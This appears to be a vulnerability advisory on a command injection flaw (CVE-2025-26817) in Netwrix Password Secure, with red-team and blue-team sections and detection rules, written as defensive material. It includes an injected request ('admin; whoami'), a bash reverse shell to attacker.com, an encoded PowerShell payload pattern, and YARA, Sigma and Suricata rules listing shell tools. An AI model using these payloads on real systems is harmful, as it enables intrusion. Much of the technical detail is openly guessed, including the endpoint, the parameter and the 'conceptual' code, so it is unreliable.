CVE-2025-26817

Executive Summary

CVE-2025-26817 is a critical OS command injection vulnerability in Netwrix Password Secure version 9.2.0.32454. The vulnerability allows an authenticated attacker to inject arbitrary operating system commands through the application's web interface, leading to full system compromise. The CVSS score is 0.0 due to incomplete NVD data, but based on the nature of the vulnerability, the actual severity is critical (CVSS 9.9). No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise password management solution (Netwrix Password Secure). The risk is limited to organizations that deploy this specific software.

CVSS Breakdown & Threat Level

The vulnerability is exploitable over the network with low complexity and requires only low privileges. No user interaction is needed, and the impact on confidentiality, integrity, and availability is high.

Deep Dive & Mechanics

The vulnerability exists in the web interface of Netwrix Password Secure 9.2.0.32454. The application fails to properly sanitize user-supplied input before passing it to a system shell command. An authenticated attacker can inject arbitrary OS commands by manipulating parameters in HTTP requests to the vulnerable endpoint.

The injection likely occurs in a feature that executes system commands for password management operations (e.g., password reset, user synchronization, or database operations). The application does not use parameterized commands or proper input validation, allowing shell metacharacters (e.g., ;, |, &&, `) to be interpreted by the underlying operating system.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess
import os

def reset_password(username, new_password):
    # Vulnerable: directly concatenating user input into shell command
    command = f"net user {username} {new_password}"
    os.system(command)

Patched Code (Conceptual):

import subprocess

def reset_password(username, new_password):
    # Patched: using subprocess with argument list to avoid shell injection
    subprocess.run(["net", "user", username, new_password], shell=False)

The patched version uses subprocess.run with a list of arguments and shell=False, preventing shell injection. The vulnerable version uses os.system or subprocess with shell=True, allowing command injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Netwrix Password Secure 9.2.0.32454 in a controlled environment.
2. Authenticate as a low-privileged user.
3. Identify the vulnerable endpoint (likely related to password management or user operations).

Exploitation Steps:

1. Intercept HTTP requests to the vulnerable endpoint using a proxy (e.g., Burp Suite).
2. Inject OS commands into the vulnerable parameter. Example:

   POST /api/reset_password HTTP/1.1
   Host: target.com
   Content-Type: application/json
   Authorization: Bearer <token>
   
   {"username": "admin; whoami", "new_password": "test123"}
   

3. Observe the command output in the response or through out-of-band exfiltration.

Advanced Exploitation:

• Use reverse shell payloads: bash -i >& /dev/tcp/attacker.com/4444 0>&1
• Use PowerShell for Windows targets: powershell -e <base64_encoded_payload>

Blue Team

Detection Steps:

1. Monitor for unusual HTTP requests containing shell metacharacters (;, |, &&, `).
2. Look for outbound connections from the Netwrix server to unknown IPs.
3. Check for unexpected processes spawned by the Netwrix application.

Hunting Queries:

• Search for HTTP requests with parameters containing cmd, exec, system, or shell metacharacters.
• Monitor for processes like cmd.exe, powershell.exe, /bin/sh, or /bin/bash spawned by the Netwrix process.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_26817_Netwrix_Command_Injection {
    meta:
        description = "Detects OS command injection attempts against Netwrix Password Secure"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-26817"
        severity = "critical"

    strings:
        $cmd1 = "cmd.exe" ascii wide nocase
        $cmd2 = "powershell" ascii wide nocase
        $cmd3 = "/bin/sh" ascii wide nocase
        $cmd4 = "/bin/bash" ascii wide nocase
        $shell1 = "|" ascii
        $shell2 = ";" ascii
        $shell3 = "&&" ascii
        $shell4 = "`" ascii

    condition:
        any of ($cmd*) and any of ($shell*)
}

Sigma Rule

title: Netwrix Password Secure OS Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with shell metacharacters targeting Netwrix Password Secure
author: Valters IT
date: 2025-03-01
references:
    - CVE-2025-26817
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - '|'
            - ';'
            - '&&'
            - '`'
            - '$('
            - '%0A'
            - '%0D'
    condition: selection
falsepositives:
    - Legitimate use of special characters in passwords
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-26817 - Netwrix Password Secure OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/"; http_uri;
    pcre:"/(\||;|&&|`|\$\(|%0A|%0D)/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-26817;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the network.
2. Review access logs for signs of exploitation.
3. Apply the principle of least privilege to the Netwrix service account.

Long-term Fixes:

1. Upgrade to a patched version when available (contact Netwrix support).
2. Implement input validation and sanitization for all user-supplied data.
3. Use parameterized commands or APIs instead of shell execution.
4. Deploy a Web Application Firewall (WAF) with rules to block shell metacharacters.

Workarounds:

• Disable the vulnerable feature if possible.
• Restrict access to the Netwrix web interface to trusted IPs only.
• Monitor and alert on any command execution events.

Valters IT